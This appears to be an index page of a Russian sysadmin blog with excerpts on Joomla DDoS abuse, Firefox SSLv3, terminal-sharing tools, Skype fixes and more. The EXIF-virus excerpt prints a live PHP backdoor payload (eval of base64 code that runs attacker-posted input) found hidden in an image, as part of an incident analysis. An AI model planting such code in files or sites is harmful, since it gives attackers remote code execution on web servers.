Уязвимость плагина Googlemaps в Joomla! к атаке DDoS

plugin_googlemap2_proxy.phpНевзирая на то что устаревшая Joomla! v1.5 считается уязвимой, она до сих пор находится у меня на попечении. Мне удалось не разбираясь с самой CMS защитить её от модификации кода простой установкой атрибута immutable. С тех пор много лет подряд сайт работает без каких либо патчей и изменений. Но вот вчера пришло оповещение от системы мониторинга которое вопило о проблемах с сервером где “крутится” эта CMS. Я обнаружил что один сайт порождает огромное количество процессов apache и сильно нагружает сервер. Довольно быстро этот сайт-виновник был обнаружен и отключён. Отключён потому что работал он на shared платформе и приносил проблемы доступности другим сайтам. Далее разбираясь с тем что происходит я обнаружил большое количество запросов из интернет вызывающее скрипт:

http://сайт-виновник/plugins/content/plugin_googlemap2_proxy.php

Continue reading Уязвимость плагина Googlemaps в Joomla! к атаке DDoS

Firefox включение SSLv3

После обнаружения уязвимости Poodle Attack Mozilla выпускает Firefox с заблокированным по умолчанию SSLv3. Это логично так как протокол уязвим и передаваемые внутри него данные могут быть легко перехвачены. Однако SSLv3 используется и в оборудовании, например на устаревших свитчах и роутерах Cisco или на которые не оплачивается техподдержка. Обновления не приходят, а значит и SSLv3 остаётся там основным протоколом. Безусловно глупо входить в такие устройства через публичную сеть. Но если свитч находится за VPN то можно. Так вот чтобы вернуть SSLv3 в новых браузерах Firefox нужно зайти на магическую страничку about:config и там найти параметр security.tls.version.min после чего установить его значение в 0

  • 0 = SSL 3.0
  • 1 = минимально TLS 1.0
  • 2 = минимально TLS 1.1

После этого можно входить на свитч, роутер или что там у вас. После манипуляций лучше параметр снова поднять до версии TLS 1.0.
Для информации: браузер имеет ещё один ключ security.tls.version.max который, как понятно из названия, ограничивает протокол сверху.

Запись терминальной сессии

Для записи терминальной сессии можно использовать обычный подход, записывать видео. Однако в этом есть два неудобства: во-первых видео занимает много места, во-вторых из видео нельзя сделать copy&paste текстовой информации.

Оба эти недостатка отсутствуют в программе asciinema. Её файлы маленькие и поддерживается copy&paste.

Галерею работ можно посмотреть на https://asciinema.org/.
И сразу можно сделать копию для себя так как исходный код прилагается.
Исходный код плеера
Исходный код для сайта

А с помощью другой утилиты можно устроить живую демонстрацию своей консоли.

Трансляция окна своей консоли как WEB приложения

GoTTY позволяет устроить демонстрацию окна своей консоли как web приложения.

Для эмуляции терминала на JavaScript в интернет браузерах Gotty использует hterm. Gotty имеет свой websocket сервер перебрасывает PTY веб-клиентам и принимает ввод от клиентов и перебрасывает его на PTY. Идея hterm + websocket была навеяна Wetty.

Для каждого клиента подсоединяющегося к websocket GoTTY порождает новый процесс и это значит, что напрямую нельзя расшаривать терминал многим клиентам. Однако можно использовать мультиплексор терминала tmux. Но в этом случае клиенты будут находиться в режиме viewonly без передачи нажатий клавиатуры в терминал, а тот кто будет подключён локально сможет управлять терминалом.

Распространяется под лицензией MIT.
Исходники на https://github.com/yudai/gotty

Также имеется и утилита которая позволяет сделать легковесные файлы с записью работы в терминальной сессии и воспроизводить их в браузере.

Delphi 5 и Delphi 7 Access Violation

Пришлось намедни оживить старый проект написанный на Delphi 5. Взял виртуалку с 2003 виндой, которую по нынешним действительно можно назвать микро-софтом, потому что в загруженном состоянии съедает меньше 100 мегабайт оперативки. “Откопал” старые дистрибутивчики, наборы VCL, всё поставил, настроил, открыл проект и всё нормально скомпилировал. И тут мне понадобилось зайти в опции проекта, чтобы добавить пути к новым библиотекам которые нужно было добавить в проект. И тут я получил

“Access violation at address 013FA3B. Write of address 013FA3B.”
Continue reading Delphi 5 и Delphi 7 Access Violation

HTTPS в каждый web! Быстро и бесплатно.

letsencrypt-01

В ноябре 2014 года Mozilla, Akamai, Cisco, EFF (Electronic Frontier Foundation), Identrust и исследователи из Мичиганского университета начали совместную работу над созданием центра сертификации (Certificate Authority) который призван снять оставшиеся ограничения на пути полного перехода сайтов на протокол HTTPS.

С запуском запланированого на лето 2015 года, Let’s Encrypt CA будет автоматически выдавать и управлять бесплатными сертификатами для любого веб-сайта, который в них нуждается. Переключение вебсервера с HTTP на HTTPS с этим CA будет таким же простым, как запуск одной команды или нажатие одной кнопки.

Continue reading HTTPS в каждый web! Быстро и бесплатно.

Как запретить автообновление Adobe Reader и удалить его сервис

При инсталяции Adobe Acrobat Reader в системные сервисы, в святая святых, втихаря устанавливается AdobeARMservice. Неприятно, что компания Adobe не оставляет пользователям права выбора поставить сервис автообновления или нет. А ведь такая программа получает самые высокие привилегии работы в системе и несёт в себе две реальные угрозы.

  • когда Man in the Middle взломает протокол канала обновления то он сможет установить на компьютер изменённый Adobe Acrobat Reader и захватить управление компьютером.
  • если Adobe выпустит кривое (либо несовместимое с каким-то ПО на вашем компьютере) обновление это может привести систему в нерабочее состояние, и вы понятия не будете иметь кто виноват.

Обратите внимание на то, что я использовал выражение “когда Man in the Middle взломает протокол”. Учитывая количество установленных программ Acrobat Reader в мире и то что автообновлялка имеет права системного сервиса формулировка “если” не подходит — поздно или рано протокол вскроют.

Continue reading Как запретить автообновление Adobe Reader и удалить его сервис

Segfault после обновления Skype 4.2.0.13 на 4.3.0.37

После обновления Skype для Linux с версии 4.2.0.13 на версию 4.3.0.37 я не смог подключаться со старыми профилями. Skype вываливается по segmentation fault. Если создать новы профиль то скайп работает. Но хотелось сохранить историю чатов. Мне помогло удаление из базы истории загруженных файлов.

$ sqlite3 ~/.Skype/[skypeusername]/main.db
sqlite> delete from Messages where type=68;
sqlite> .quit
Внимание!Предварительно нужно сделать резервную копию всего профиля.

Пакетная очистка вируса из EXIF информации в картинках

Сегодня получили абузу от апстрима чьи IP адреса мы используем на одном из серверов с shared хостингом. Краткая суть заключалась в том что на таком-то сайте был обнаружен файл содержащий вирус.

|2014-09-23 12:53:44 CEST |41522804 |JPG:PHPAgent-A Trj |xxx.xxx.xxx.xxx |*******.*** |http://www.*******.***/media/k2/items/cache/12abae3c81505932f6f2610e7cdfbe24_S.jpg

Картинка представляла собой небольшую иконку и файл занимал 4.6 килобайт. Внутри оказалась EXIF информация, что для такой малоформатной иконки было странным.

Exif Byte Order                 : Little-endian (Intel, II)
Make                            : /.*/e
Camera Model Name               : eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
Comment                         : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85.

Continue reading Пакетная очистка вируса из EXIF информации в картинках

Как продлить жизнь Skype 4.2.0.13

Меня, как и многих невольных пользователей текущие владельцы Skype поставили перед выбором: либо обновление, либо иди нахрен. Я посмотрел на свой довольно большой список контактов в котором находится много клиентов и скрепя сердцем выбрал первое — update. Внимательно осмотрел инсталяционый скрипт внутри rpm пакета и не найдя там ничего крамольного установил скайп 4.3.0.37. Оказалось, что новая версия не может загрузиться со старым профилем. Просто вываливается сразу после соединения. Я “пошаманил” с базами попробовал в новый профиль записать старые базы, но не помогло. (Обновлено. Решение было найдено). Это подсадило меня на коня. Масло в огонь подлило и то что они сломали интерфейс взаимодействия с внешними скриптами. Мои отлаженные скрипты перестали работать потому, что им передаются пустые параметры. Ну и чтобы окончательно вынудить людей искать альтернативу скайпу они прекратили поддержку звуковой подсистемы ALSA отдав предпочтение исключительно PulseAudio. Сначала сломали API для сторонних приложений, а теперь ещё и это.

Continue reading Как продлить жизнь Skype 4.2.0.13